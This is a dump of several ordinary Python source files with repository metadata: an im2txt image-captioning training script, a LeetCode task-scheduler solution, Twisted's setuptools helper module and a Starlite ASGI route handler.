e871cdd03c80fd70695ae5a46f32351e35956684

[ "MIT" ]

5

2018-07-17T16:10:02.000Z

2018-07-17T21:53:37.000Z

im2txt/train.py

iamdebanjangoswami/Image-Caption-IR--Im2txt

e871cdd03c80fd70695ae5a46f32351e35956684

[ "MIT" ]

null

im2txt/train.py

iamdebanjangoswami/Image-Caption-IR--Im2txt

e871cdd03c80fd70695ae5a46f32351e35956684

[ "MIT" ]

null

"""Train the model.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf from im2txt import configuration from im2txt import show_and_tell_model FLAGS = tf.app.flags.FLAGS tf.flags.DEFINE_string("input_file_pattern", "", "File pattern of sharded TFRecord input files.") tf.flags.DEFINE_string("inception_checkpoint_file", "", "Path to a pretrained inception_v3 model.") tf.flags.DEFINE_string("train_dir", "", "Directory for saving and loading model checkpoints.") tf.flags.DEFINE_boolean("train_inception", False, "Whether to train inception submodel variables.") tf.flags.DEFINE_integer("number_of_steps", 1000000, "Number of training steps.") tf.flags.DEFINE_integer("log_every_n_steps", 1, "Frequency at which loss and global step are logged.") tf.logging.set_verbosity(tf.logging.INFO) def main(unused_argv): assert FLAGS.input_file_pattern, "--input_file_pattern is required" assert FLAGS.train_dir, "--train_dir is required" model_config = configuration.ModelConfig() model_config.input_file_pattern = FLAGS.input_file_pattern model_config.inception_checkpoint_file = FLAGS.inception_checkpoint_file training_config = configuration.TrainingConfig() # Create training directory. train_dir = FLAGS.train_dir if not tf.gfile.IsDirectory(train_dir): tf.logging.info("Creating training directory: %s", train_dir) tf.gfile.MakeDirs(train_dir) # Build the TensorFlow graph. g = tf.Graph() with g.as_default(): # Build the model. model = show_and_tell_model.ShowAndTellModel( model_config, mode="train", train_inception=FLAGS.train_inception) model.build() # Set up the learning rate. learning_rate_decay_fn = None if FLAGS.train_inception: learning_rate = tf.constant(training_config.train_inception_learning_rate) else: learning_rate = tf.constant(training_config.initial_learning_rate) if training_config.learning_rate_decay_factor > 0: num_batches_per_epoch = (training_config.num_examples_per_epoch / model_config.batch_size) decay_steps = int(num_batches_per_epoch * training_config.num_epochs_per_decay) def _learning_rate_decay_fn(learning_rate, global_step): return tf.train.exponential_decay( learning_rate, global_step, decay_steps=decay_steps, decay_rate=training_config.learning_rate_decay_factor, staircase=True) learning_rate_decay_fn = _learning_rate_decay_fn # Set up the training ops. train_op = tf.contrib.layers.optimize_loss( loss=model.total_loss, global_step=model.global_step, learning_rate=learning_rate, optimizer=training_config.optimizer, clip_gradients=training_config.clip_gradients, learning_rate_decay_fn=learning_rate_decay_fn) # Set up the Saver for saving and restoring model checkpoints. saver = tf.train.Saver(max_to_keep=training_config.max_checkpoints_to_keep) # Run training. tf.contrib.slim.learning.train( train_op, train_dir, log_every_n_steps=FLAGS.log_every_n_steps, graph=g, global_step=model.global_step, number_of_steps=FLAGS.number_of_steps, init_fn=model.init_fn, saver=saver) if __name__ == "__main__": tf.app.run()

34.921569

80

0.71196

from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf from im2txt import configuration from im2txt import show_and_tell_model FLAGS = tf.app.flags.FLAGS tf.flags.DEFINE_string("input_file_pattern", "", "File pattern of sharded TFRecord input files.") tf.flags.DEFINE_string("inception_checkpoint_file", "", "Path to a pretrained inception_v3 model.") tf.flags.DEFINE_string("train_dir", "", "Directory for saving and loading model checkpoints.") tf.flags.DEFINE_boolean("train_inception", False, "Whether to train inception submodel variables.") tf.flags.DEFINE_integer("number_of_steps", 1000000, "Number of training steps.") tf.flags.DEFINE_integer("log_every_n_steps", 1, "Frequency at which loss and global step are logged.") tf.logging.set_verbosity(tf.logging.INFO) def main(unused_argv): assert FLAGS.input_file_pattern, "--input_file_pattern is required" assert FLAGS.train_dir, "--train_dir is required" model_config = configuration.ModelConfig() model_config.input_file_pattern = FLAGS.input_file_pattern model_config.inception_checkpoint_file = FLAGS.inception_checkpoint_file training_config = configuration.TrainingConfig() train_dir = FLAGS.train_dir if not tf.gfile.IsDirectory(train_dir): tf.logging.info("Creating training directory: %s", train_dir) tf.gfile.MakeDirs(train_dir) g = tf.Graph() with g.as_default(): model = show_and_tell_model.ShowAndTellModel( model_config, mode="train", train_inception=FLAGS.train_inception) model.build() learning_rate_decay_fn = None if FLAGS.train_inception: learning_rate = tf.constant(training_config.train_inception_learning_rate) else: learning_rate = tf.constant(training_config.initial_learning_rate) if training_config.learning_rate_decay_factor > 0: num_batches_per_epoch = (training_config.num_examples_per_epoch / model_config.batch_size) decay_steps = int(num_batches_per_epoch * training_config.num_epochs_per_decay) def _learning_rate_decay_fn(learning_rate, global_step): return tf.train.exponential_decay( learning_rate, global_step, decay_steps=decay_steps, decay_rate=training_config.learning_rate_decay_factor, staircase=True) learning_rate_decay_fn = _learning_rate_decay_fn train_op = tf.contrib.layers.optimize_loss( loss=model.total_loss, global_step=model.global_step, learning_rate=learning_rate, optimizer=training_config.optimizer, clip_gradients=training_config.clip_gradients, learning_rate_decay_fn=learning_rate_decay_fn) saver = tf.train.Saver(max_to_keep=training_config.max_checkpoints_to_keep) tf.contrib.slim.learning.train( train_op, train_dir, log_every_n_steps=FLAGS.log_every_n_steps, graph=g, global_step=model.global_step, number_of_steps=FLAGS.number_of_steps, init_fn=model.init_fn, saver=saver) if __name__ == "__main__": tf.app.run()

true

1c421ba5cc25e81faa06ed54d8a9d618d0e83d7d

745

py

Python

task_scheduler_alt.py

tusharsadhwani/leetcode

a17a8a7587c5654f05fcd13ae7cdf47263ab2ea8

[ "MIT" ]

6

2021-05-21T01:10:42.000Z

2021-12-16T16:12:30.000Z

task_scheduler_alt.py

tusharsadhwani/leetcode

a17a8a7587c5654f05fcd13ae7cdf47263ab2ea8

[ "MIT" ]

null

task_scheduler_alt.py

tusharsadhwani/leetcode

a17a8a7587c5654f05fcd13ae7cdf47263ab2ea8

[ "MIT" ]

null

from collections import Counter class Solution: def leastInterval(self, tasks: list[str], n: int) -> int: counters = list(Counter(tasks).values()) counters.sort() max_freq = counters.pop() max_idle_time = (max_freq - 1) * n idle_time = max_idle_time while counters and idle_time > 0: idle_time -= min(max_freq - 1, counters.pop()) if idle_time < 0: idle_time = 0 return len(tasks) + idle_time tests = [ ( (["A", "A", "A", "B", "B", "B"], 2,), 8, ), ( (["A", "A", "A", "B", "B", "B"], 0,), 6, ), ( (["A", "A", "A", "A", "A", "A", "B", "C", "D", "E", "F", "G"], 2,), 16, ), ]

21.285714

75

0.436242

from collections import Counter class Solution: def leastInterval(self, tasks: list[str], n: int) -> int: counters = list(Counter(tasks).values()) counters.sort() max_freq = counters.pop() max_idle_time = (max_freq - 1) * n idle_time = max_idle_time while counters and idle_time > 0: idle_time -= min(max_freq - 1, counters.pop()) if idle_time < 0: idle_time = 0 return len(tasks) + idle_time tests = [ ( (["A", "A", "A", "B", "B", "B"], 2,), 8, ), ( (["A", "A", "A", "B", "B", "B"], 0,), 6, ), ( (["A", "A", "A", "A", "A", "A", "B", "C", "D", "E", "F", "G"], 2,), 16, ), ]

true

1c421bda6f16f21a6ab023a696c0e57cf3193402

14,249

py

Python

src/twisted/python/_setup.py

tirkarthi/twisted

74f1e5418742b5404210e4799ee1b914ef1f646b

[ "Unlicense", "MIT" ]

null

src/twisted/python/_setup.py

tirkarthi/twisted

74f1e5418742b5404210e4799ee1b914ef1f646b

[ "Unlicense", "MIT" ]

null

src/twisted/python/_setup.py

tirkarthi/twisted

74f1e5418742b5404210e4799ee1b914ef1f646b

[ "Unlicense", "MIT" ]

null

# -*- test-case-name: twisted.python.test.test_setup -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. # pylint: disable=I0011,C0103,C9302,W9401,W9402 """ Setuptools convenience functionality. This file must not import anything from Twisted, as it is loaded by C{exec} in C{setup.py}. If you need compatibility functions for this code, duplicate them here. @var _EXTRA_OPTIONS: These are the actual package names and versions that will be used by C{extras_require}. This is not passed to setup directly so that combinations of the packages can be created without the need to copy package names multiple times. @var _EXTRAS_REQUIRE: C{extras_require} is a dictionary of items that can be passed to setup.py to install optional dependencies. For example, to install the optional dev dependencies one would type:: pip install -e ".[dev]" This has been supported by setuptools since 0.5a4. @var _PLATFORM_INDEPENDENT: A list of all optional cross-platform dependencies, as setuptools version specifiers, used to populate L{_EXTRAS_REQUIRE}. @var _EXTENSIONS: The list of L{ConditionalExtension} used by the setup process. @var notPortedModules: Modules that are not yet ported to Python 3. """ import io import os import platform import re import sys from distutils.command import build_ext from distutils.errors import CompileError from setuptools import Extension, find_packages from setuptools.command.build_py import build_py # Do not replace this with t.p.compat imports, this file must not import # from Twisted. See the docstring. if sys.version_info < (3, 0): _PY3 = False else: _PY3 = True STATIC_PACKAGE_METADATA = dict( name="Twisted", description="An asynchronous networking framework written in Python", author="Twisted Matrix Laboratories", author_email="twisted-python@twistedmatrix.com", maintainer="Glyph Lefkowitz", maintainer_email="glyph@twistedmatrix.com", url="https://twistedmatrix.com/", project_urls={ 'Documentation': 'https://twistedmatrix.com/documents/current/', 'Source': 'https://github.com/twisted/twisted', 'Issues': 'https://twistedmatrix.com/trac/report', }, license="MIT", classifiers=[ "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], python_requires='>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*', ) _dev = [ 'pyflakes >= 1.0.0', 'twisted-dev-tools >= 0.0.2', 'python-subunit', 'sphinx >= 1.3.1', 'towncrier >= 17.4.0' ] if not _PY3: # These modules do not yet work on Python 3. _dev += [ 'twistedchecker >= 0.4.0', 'pydoctor >= 16.2.0', ] _EXTRA_OPTIONS = dict( dev=_dev, tls=[ 'pyopenssl >= 16.0.0', # service_identity 18.1.0 added support for validating IP addresses in # certificate subjectAltNames 'service_identity >= 18.1.0', # idna 2.3 introduced some changes that break a few things. Avoid it. # The problems were fixed in 2.4. 'idna >= 0.6, != 2.3', ], conch=[ 'pyasn1', 'cryptography >= 2.6', 'appdirs >= 1.4.0', 'bcrypt >= 3.0.0', ], soap=['soappy'], serial=['pyserial >= 3.0', 'pywin32 != 226; platform_system == "Windows"'], macos=['pyobjc-core', 'pyobjc-framework-CFNetwork', 'pyobjc-framework-Cocoa'], windows=['pywin32 != 226'], http2=['h2 >= 3.0, < 4.0', 'priority >= 1.1.0, < 2.0'], ) _PLATFORM_INDEPENDENT = ( _EXTRA_OPTIONS['tls'] + _EXTRA_OPTIONS['conch'] + _EXTRA_OPTIONS['soap'] + _EXTRA_OPTIONS['serial'] + _EXTRA_OPTIONS['http2'] ) _EXTRAS_REQUIRE = { 'dev': _EXTRA_OPTIONS['dev'], 'tls': _EXTRA_OPTIONS['tls'], 'conch': _EXTRA_OPTIONS['conch'], 'soap': _EXTRA_OPTIONS['soap'], 'serial': _EXTRA_OPTIONS['serial'], 'http2': _EXTRA_OPTIONS['http2'], 'all_non_platform': _PLATFORM_INDEPENDENT, 'macos_platform': ( _EXTRA_OPTIONS['macos'] + _PLATFORM_INDEPENDENT ), 'windows_platform': ( _EXTRA_OPTIONS['windows'] + _PLATFORM_INDEPENDENT ), } _EXTRAS_REQUIRE['osx_platform'] = _EXTRAS_REQUIRE['macos_platform'] # Scripts provided by Twisted on Python 2 and 3. _CONSOLE_SCRIPTS = [ "ckeygen = twisted.conch.scripts.ckeygen:run", "cftp = twisted.conch.scripts.cftp:run", "conch = twisted.conch.scripts.conch:run", "mailmail = twisted.mail.scripts.mailmail:run", "pyhtmlizer = twisted.scripts.htmlizer:run", "tkconch = twisted.conch.scripts.tkconch:run", "trial = twisted.scripts.trial:run", "twist = twisted.application.twist._twist:Twist.main", "twistd = twisted.scripts.twistd:run", ] class ConditionalExtension(Extension, object): """ An extension module that will only be compiled if certain conditions are met. @param condition: A callable of one argument which returns True or False to indicate whether the extension should be built. The argument is an instance of L{build_ext_twisted}, which has useful methods for checking things about the platform. """ def __init__(self, *args, **kwargs): self.condition = kwargs.pop("condition", lambda builder: True) Extension.__init__(self, *args, **kwargs) # The C extensions used for Twisted. _EXTENSIONS = [ ConditionalExtension( "twisted.test.raiser", sources=["src/twisted/test/raiser.c"], condition=lambda _: _isCPython), ConditionalExtension( "twisted.internet.iocpreactor.iocpsupport", sources=[ "src/twisted/internet/iocpreactor/iocpsupport/iocpsupport.c", "src/twisted/internet/iocpreactor/iocpsupport/winsock_pointers.c", ], libraries=["ws2_32"], condition=lambda _: _isCPython and sys.platform == "win32"), ConditionalExtension( "twisted.python._sendmsg", sources=["src/twisted/python/_sendmsg.c"], condition=lambda _: not _PY3 and sys.platform != "win32"), ] def _longDescriptionArgsFromReadme(readme): """ Generate a PyPI long description from the readme. @param readme: Path to the readme reStructuredText file. @type readme: C{str} @return: Keyword arguments to be passed to C{setuptools.setup()}. @rtype: C{str} """ with io.open(readme, encoding='utf-8') as f: readmeRst = f.read() # Munge links of the form `NEWS <NEWS.rst>`_ to point at the appropriate # location on GitHub so that they function when the long description is # displayed on PyPI. longDesc = re.sub( r'`([^`]+)\s+<(?!https?://)([^>]+)>`_', r'`\1 <https://github.com/twisted/twisted/blob/trunk/\2>`_', readmeRst, flags=re.I, ) return { 'long_description': longDesc, 'long_description_content_type': 'text/x-rst', } def getSetupArgs(extensions=_EXTENSIONS, readme='README.rst'): """ Generate arguments for C{setuptools.setup()} @param extensions: C extension modules to maybe build. This argument is to be used for testing. @type extensions: C{list} of C{ConditionalExtension} @param readme: Path to the readme reStructuredText file. This argument is to be used for testing. @type readme: C{str} @return: The keyword arguments to be used by the setup method. @rtype: L{dict} """ arguments = STATIC_PACKAGE_METADATA.copy() if readme: arguments.update(_longDescriptionArgsFromReadme(readme)) # This is a workaround for distutils behavior; ext_modules isn't # actually used by our custom builder. distutils deep-down checks # to see if there are any ext_modules defined before invoking # the build_ext command. We need to trigger build_ext regardless # because it is the thing that does the conditional checks to see # if it should build any extensions. The reason we have to delay # the conditional checks until then is that the compiler objects # are not yet set up when this code is executed. arguments["ext_modules"] = extensions # Use custome class to build the extensions. class my_build_ext(build_ext_twisted): conditionalExtensions = extensions command_classes = { 'build_ext': my_build_ext, } if sys.version_info[0] >= 3: command_classes['build_py'] = BuildPy3 requirements = [ "zope.interface >= 4.4.2", "constantly >= 15.1", "incremental >= 16.10.1", "Automat >= 0.3.0", "hyperlink >= 17.1.1", # PyHamcrest 1.10.0 is Python 3 only, but lacks package metadata that # says so. This condition can be dropped when Twisted drops support for # Python 2.7. "PyHamcrest >= 1.9.0, != 1.10.0", "attrs >= 19.2.0", ] arguments.update(dict( packages=find_packages("src"), use_incremental=True, setup_requires=["incremental >= 16.10.1"], install_requires=requirements, entry_points={ 'console_scripts': _CONSOLE_SCRIPTS }, cmdclass=command_classes, include_package_data=True, exclude_package_data={ "": ["*.c", "*.h", "*.pxi", "*.pyx", "build.bat"], }, zip_safe=False, extras_require=_EXTRAS_REQUIRE, package_dir={"": "src"}, )) return arguments class BuildPy3(build_py, object): """ A version of build_py that doesn't install the modules that aren't yet ported to Python 3. """ def find_package_modules(self, package, package_dir): modules = [ module for module in build_py.find_package_modules(self, package, package_dir) if ".".join([module[0], module[1]]) not in notPortedModules] return modules ## Helpers and distutil tweaks class build_ext_twisted(build_ext.build_ext, object): """ Allow subclasses to easily detect and customize Extensions to build at install-time. """ def prepare_extensions(self): """ Prepare the C{self.extensions} attribute (used by L{build_ext.build_ext}) by checking which extensions in I{conditionalExtensions} should be built. In addition, if we are building on NT, define the WIN32 macro to 1. """ # always define WIN32 under Windows if os.name == 'nt': self.define_macros = [("WIN32", 1)] else: self.define_macros = [] # On Solaris 10, we need to define the _XOPEN_SOURCE and # _XOPEN_SOURCE_EXTENDED macros to build in order to gain access to # the msg_control, msg_controllen, and msg_flags members in # sendmsg.c. (according to # https://stackoverflow.com/questions/1034587). See the documentation # of X/Open CAE in the standards(5) man page of Solaris. if sys.platform.startswith('sunos'): self.define_macros.append(('_XOPEN_SOURCE', 1)) self.define_macros.append(('_XOPEN_SOURCE_EXTENDED', 1)) self.extensions = [ x for x in self.conditionalExtensions if x.condition(self) ] for ext in self.extensions: ext.define_macros.extend(self.define_macros) def build_extensions(self): """ Check to see which extension modules to build and then build them. """ self.prepare_extensions() build_ext.build_ext.build_extensions(self) def _remove_conftest(self): for filename in ("conftest.c", "conftest.o", "conftest.obj"): try: os.unlink(filename) except EnvironmentError: pass def _compile_helper(self, content): conftest = open("conftest.c", "w") try: with conftest: conftest.write(content) try: self.compiler.compile(["conftest.c"], output_dir='') except CompileError: return False return True finally: self._remove_conftest() def _check_header(self, header_name): """ Check if the given header can be included by trying to compile a file that contains only an #include line. """ self.compiler.announce("checking for {} ...".format(header_name), 0) return self._compile_helper("#include <{}>\n".format(header_name)) def _checkCPython(sys=sys, platform=platform): """ Checks if this implementation is CPython. This uses C{platform.python_implementation}. This takes C{sys} and C{platform} kwargs that by default use the real modules. You shouldn't care about these -- they are for testing purposes only. @return: C{False} if the implementation is definitely not CPython, C{True} otherwise. """ return platform.python_implementation() == "CPython" _isCPython = _checkCPython() notPortedModules = [ "twisted.mail.alias", "twisted.mail.bounce", "twisted.mail.mail", "twisted.mail.maildir", "twisted.mail.pb", "twisted.mail.relaymanager", "twisted.mail.scripts.__init__", "twisted.mail.tap", "twisted.mail.test.test_bounce", "twisted.mail.test.test_mail", "twisted.mail.test.test_options", "twisted.mail.test.test_scripts", "twisted.news.__init__", "twisted.news.database", "twisted.news.news", "twisted.news.nntp", "twisted.news.tap", "twisted.news.test.__init__", "twisted.news.test.test_database", "twisted.news.test.test_news", "twisted.news.test.test_nntp", "twisted.plugins.twisted_mail", "twisted.plugins.twisted_news", "twisted.protocols.shoutcast", "twisted.python.finalize", "twisted.python.hook", "twisted.python.test.cmodulepullpipe", "twisted.python.test.test_pydoctor", "twisted.python.test.test_win32", "twisted.test.test_hook", "twisted.web.soap", "twisted.web.test.test_soap", ]

31.524336

79

0.644186

import io import os import platform import re import sys from distutils.command import build_ext from distutils.errors import CompileError from setuptools import Extension, find_packages from setuptools.command.build_py import build_py if sys.version_info < (3, 0): _PY3 = False else: _PY3 = True STATIC_PACKAGE_METADATA = dict( name="Twisted", description="An asynchronous networking framework written in Python", author="Twisted Matrix Laboratories", author_email="twisted-python@twistedmatrix.com", maintainer="Glyph Lefkowitz", maintainer_email="glyph@twistedmatrix.com", url="https://twistedmatrix.com/", project_urls={ 'Documentation': 'https://twistedmatrix.com/documents/current/', 'Source': 'https://github.com/twisted/twisted', 'Issues': 'https://twistedmatrix.com/trac/report', }, license="MIT", classifiers=[ "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], python_requires='>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*', ) _dev = [ 'pyflakes >= 1.0.0', 'twisted-dev-tools >= 0.0.2', 'python-subunit', 'sphinx >= 1.3.1', 'towncrier >= 17.4.0' ] if not _PY3: _dev += [ 'twistedchecker >= 0.4.0', 'pydoctor >= 16.2.0', ] _EXTRA_OPTIONS = dict( dev=_dev, tls=[ 'pyopenssl >= 16.0.0', 'service_identity >= 18.1.0', 'idna >= 0.6, != 2.3', ], conch=[ 'pyasn1', 'cryptography >= 2.6', 'appdirs >= 1.4.0', 'bcrypt >= 3.0.0', ], soap=['soappy'], serial=['pyserial >= 3.0', 'pywin32 != 226; platform_system == "Windows"'], macos=['pyobjc-core', 'pyobjc-framework-CFNetwork', 'pyobjc-framework-Cocoa'], windows=['pywin32 != 226'], http2=['h2 >= 3.0, < 4.0', 'priority >= 1.1.0, < 2.0'], ) _PLATFORM_INDEPENDENT = ( _EXTRA_OPTIONS['tls'] + _EXTRA_OPTIONS['conch'] + _EXTRA_OPTIONS['soap'] + _EXTRA_OPTIONS['serial'] + _EXTRA_OPTIONS['http2'] ) _EXTRAS_REQUIRE = { 'dev': _EXTRA_OPTIONS['dev'], 'tls': _EXTRA_OPTIONS['tls'], 'conch': _EXTRA_OPTIONS['conch'], 'soap': _EXTRA_OPTIONS['soap'], 'serial': _EXTRA_OPTIONS['serial'], 'http2': _EXTRA_OPTIONS['http2'], 'all_non_platform': _PLATFORM_INDEPENDENT, 'macos_platform': ( _EXTRA_OPTIONS['macos'] + _PLATFORM_INDEPENDENT ), 'windows_platform': ( _EXTRA_OPTIONS['windows'] + _PLATFORM_INDEPENDENT ), } _EXTRAS_REQUIRE['osx_platform'] = _EXTRAS_REQUIRE['macos_platform'] _CONSOLE_SCRIPTS = [ "ckeygen = twisted.conch.scripts.ckeygen:run", "cftp = twisted.conch.scripts.cftp:run", "conch = twisted.conch.scripts.conch:run", "mailmail = twisted.mail.scripts.mailmail:run", "pyhtmlizer = twisted.scripts.htmlizer:run", "tkconch = twisted.conch.scripts.tkconch:run", "trial = twisted.scripts.trial:run", "twist = twisted.application.twist._twist:Twist.main", "twistd = twisted.scripts.twistd:run", ] class ConditionalExtension(Extension, object): def __init__(self, *args, **kwargs): self.condition = kwargs.pop("condition", lambda builder: True) Extension.__init__(self, *args, **kwargs) _EXTENSIONS = [ ConditionalExtension( "twisted.test.raiser", sources=["src/twisted/test/raiser.c"], condition=lambda _: _isCPython), ConditionalExtension( "twisted.internet.iocpreactor.iocpsupport", sources=[ "src/twisted/internet/iocpreactor/iocpsupport/iocpsupport.c", "src/twisted/internet/iocpreactor/iocpsupport/winsock_pointers.c", ], libraries=["ws2_32"], condition=lambda _: _isCPython and sys.platform == "win32"), ConditionalExtension( "twisted.python._sendmsg", sources=["src/twisted/python/_sendmsg.c"], condition=lambda _: not _PY3 and sys.platform != "win32"), ] def _longDescriptionArgsFromReadme(readme): with io.open(readme, encoding='utf-8') as f: readmeRst = f.read() longDesc = re.sub( r'`([^`]+)\s+<(?!https?://)([^>]+)>`_', r'`\1 <https://github.com/twisted/twisted/blob/trunk/\2>`_', readmeRst, flags=re.I, ) return { 'long_description': longDesc, 'long_description_content_type': 'text/x-rst', } def getSetupArgs(extensions=_EXTENSIONS, readme='README.rst'): arguments = STATIC_PACKAGE_METADATA.copy() if readme: arguments.update(_longDescriptionArgsFromReadme(readme)) # actually used by our custom builder. distutils deep-down checks # to see if there are any ext_modules defined before invoking # the build_ext command. We need to trigger build_ext regardless # because it is the thing that does the conditional checks to see # if it should build any extensions. The reason we have to delay # the conditional checks until then is that the compiler objects # are not yet set up when this code is executed. arguments["ext_modules"] = extensions # Use custome class to build the extensions. class my_build_ext(build_ext_twisted): conditionalExtensions = extensions command_classes = { 'build_ext': my_build_ext, } if sys.version_info[0] >= 3: command_classes['build_py'] = BuildPy3 requirements = [ "zope.interface >= 4.4.2", "constantly >= 15.1", "incremental >= 16.10.1", "Automat >= 0.3.0", "hyperlink >= 17.1.1", # PyHamcrest 1.10.0 is Python 3 only, but lacks package metadata that # says so. This condition can be dropped when Twisted drops support for # Python 2.7. "PyHamcrest >= 1.9.0, != 1.10.0", "attrs >= 19.2.0", ] arguments.update(dict( packages=find_packages("src"), use_incremental=True, setup_requires=["incremental >= 16.10.1"], install_requires=requirements, entry_points={ 'console_scripts': _CONSOLE_SCRIPTS }, cmdclass=command_classes, include_package_data=True, exclude_package_data={ "": ["*.c", "*.h", "*.pxi", "*.pyx", "build.bat"], }, zip_safe=False, extras_require=_EXTRAS_REQUIRE, package_dir={"": "src"}, )) return arguments class BuildPy3(build_py, object): def find_package_modules(self, package, package_dir): modules = [ module for module in build_py.find_package_modules(self, package, package_dir) if ".".join([module[0], module[1]]) not in notPortedModules] return modules ## Helpers and distutil tweaks class build_ext_twisted(build_ext.build_ext, object): def prepare_extensions(self): # always define WIN32 under Windows if os.name == 'nt': self.define_macros = [("WIN32", 1)] else: self.define_macros = [] # On Solaris 10, we need to define the _XOPEN_SOURCE and # _XOPEN_SOURCE_EXTENDED macros to build in order to gain access to # the msg_control, msg_controllen, and msg_flags members in # sendmsg.c. (according to # https://stackoverflow.com/questions/1034587). See the documentation # of X/Open CAE in the standards(5) man page of Solaris. if sys.platform.startswith('sunos'): self.define_macros.append(('_XOPEN_SOURCE', 1)) self.define_macros.append(('_XOPEN_SOURCE_EXTENDED', 1)) self.extensions = [ x for x in self.conditionalExtensions if x.condition(self) ] for ext in self.extensions: ext.define_macros.extend(self.define_macros) def build_extensions(self): self.prepare_extensions() build_ext.build_ext.build_extensions(self) def _remove_conftest(self): for filename in ("conftest.c", "conftest.o", "conftest.obj"): try: os.unlink(filename) except EnvironmentError: pass def _compile_helper(self, content): conftest = open("conftest.c", "w") try: with conftest: conftest.write(content) try: self.compiler.compile(["conftest.c"], output_dir='') except CompileError: return False return True finally: self._remove_conftest() def _check_header(self, header_name): self.compiler.announce("checking for {} ...".format(header_name), 0) return self._compile_helper("#include <{}>\n".format(header_name)) def _checkCPython(sys=sys, platform=platform): return platform.python_implementation() == "CPython" _isCPython = _checkCPython() notPortedModules = [ "twisted.mail.alias", "twisted.mail.bounce", "twisted.mail.mail", "twisted.mail.maildir", "twisted.mail.pb", "twisted.mail.relaymanager", "twisted.mail.scripts.__init__", "twisted.mail.tap", "twisted.mail.test.test_bounce", "twisted.mail.test.test_mail", "twisted.mail.test.test_options", "twisted.mail.test.test_scripts", "twisted.news.__init__", "twisted.news.database", "twisted.news.news", "twisted.news.nntp", "twisted.news.tap", "twisted.news.test.__init__", "twisted.news.test.test_database", "twisted.news.test.test_news", "twisted.news.test.test_nntp", "twisted.plugins.twisted_mail", "twisted.plugins.twisted_news", "twisted.protocols.shoutcast", "twisted.python.finalize", "twisted.python.hook", "twisted.python.test.cmodulepullpipe", "twisted.python.test.test_pydoctor", "twisted.python.test.test_win32", "twisted.test.test_hook", "twisted.web.soap", "twisted.web.test.test_soap", ]

true

1c421be8bea10155ae25c22a24e0e3f840106c07

1,844

py

Python

starlite/handlers/asgi.py

to-ph/starlite

8169749468c1fb76c408c9939669e89e18ca6f02

[ "MIT" ]

334

2022-01-07T12:14:54.000Z

2022-03-30T23:28:03.000Z

starlite/handlers/asgi.py

to-ph/starlite

8169749468c1fb76c408c9939669e89e18ca6f02

[ "MIT" ]

70

2022-01-06T18:41:33.000Z

2022-03-23T20:21:33.000Z

starlite/handlers/asgi.py

to-ph/starlite

8169749468c1fb76c408c9939669e89e18ca6f02

[ "MIT" ]

24

2022-01-06T22:02:01.000Z

2022-03-20T01:43:39.000Z

from inspect import Signature, iscoroutinefunction from typing import Any, Dict, List, Optional, Union, cast from pydantic import validate_arguments from pydantic.typing import AnyCallable from starlite.exceptions import ImproperlyConfiguredException from starlite.handlers.base import BaseRouteHandler from starlite.types import Guard class ASGIRouteHandler(BaseRouteHandler): @validate_arguments(config={"arbitrary_types_allowed": True}) def __init__( self, path: Union[Optional[str], Optional[List[str]]] = None, guards: Optional[List[Guard]] = None, opt: Optional[Dict[str, Any]] = None, ): super().__init__(path=path, guards=guards, opt=opt) def __call__(self, fn: AnyCallable) -> "ASGIRouteHandler": """ Replaces a function with itself """ self.fn = fn self.validate_handler_function() return self def validate_handler_function(self) -> None: """ Validates the route handler function once it's set by inspecting its return annotations """ super().validate_handler_function() signature = Signature.from_callable(cast(AnyCallable, self.fn)) if signature.return_annotation is not None: raise ImproperlyConfiguredException("ASGI handler functions should return 'None'") if any(key not in signature.parameters for key in ["scope", "send", "receive"]): raise ImproperlyConfiguredException( "ASGI handler functions should define 'scope', 'send' and 'receive' arguments" ) if not iscoroutinefunction(self.fn) and not iscoroutinefunction(self.fn.__call__): # type: ignore[operator] raise ImproperlyConfiguredException("Functions decorated with 'asgi' must be async functions") asgi = ASGIRouteHandler

38.416667

116

0.693059

from inspect import Signature, iscoroutinefunction from typing import Any, Dict, List, Optional, Union, cast from pydantic import validate_arguments from pydantic.typing import AnyCallable from starlite.exceptions import ImproperlyConfiguredException from starlite.handlers.base import BaseRouteHandler from starlite.types import Guard class ASGIRouteHandler(BaseRouteHandler): @validate_arguments(config={"arbitrary_types_allowed": True}) def __init__( self, path: Union[Optional[str], Optional[List[str]]] = None, guards: Optional[List[Guard]] = None, opt: Optional[Dict[str, Any]] = None, ): super().__init__(path=path, guards=guards, opt=opt) def __call__(self, fn: AnyCallable) -> "ASGIRouteHandler": self.fn = fn self.validate_handler_function() return self def validate_handler_function(self) -> None: super().validate_handler_function() signature = Signature.from_callable(cast(AnyCallable, self.fn)) if signature.return_annotation is not None: raise ImproperlyConfiguredException("ASGI handler functions should return 'None'") if any(key not in signature.parameters for key in ["scope", "send", "receive"]): raise ImproperlyConfiguredException( "ASGI handler functions should define 'scope', 'send' and 'receive' arguments" ) if not iscoroutinefunction(self.fn) and not iscoroutinefunction(self.fn.__call__): raise ImproperlyConfiguredException("Functions decorated with 'asgi' must be async functions") asgi = ASGIRouteHandler

true

1c421c084e646eb6b6d1dc10ae2a6dceda689c38

9,411

py

Python

venv/Lib/site-packages/_TFL/I18N.py

nasir733/airbnb-clone

9ac746b6f3f3c8fc45f97773266e6f5f182d14b9

[ "MIT" ]

6

2016-12-10T17:51:10.000Z

2021-10-11T07:51:48.000Z

venv/Lib/site-packages/_TFL/I18N.py

nasir733/airbnb-clone

9ac746b6f3f3c8fc45f97773266e6f5f182d14b9

[ "MIT" ]

null

venv/Lib/site-packages/_TFL/I18N.py

nasir733/airbnb-clone

9ac746b6f3f3c8fc45f97773266e6f5f182d14b9

[ "MIT" ]

3

2020-03-29T07:37:03.000Z

2021-01-21T16:08:40.000Z

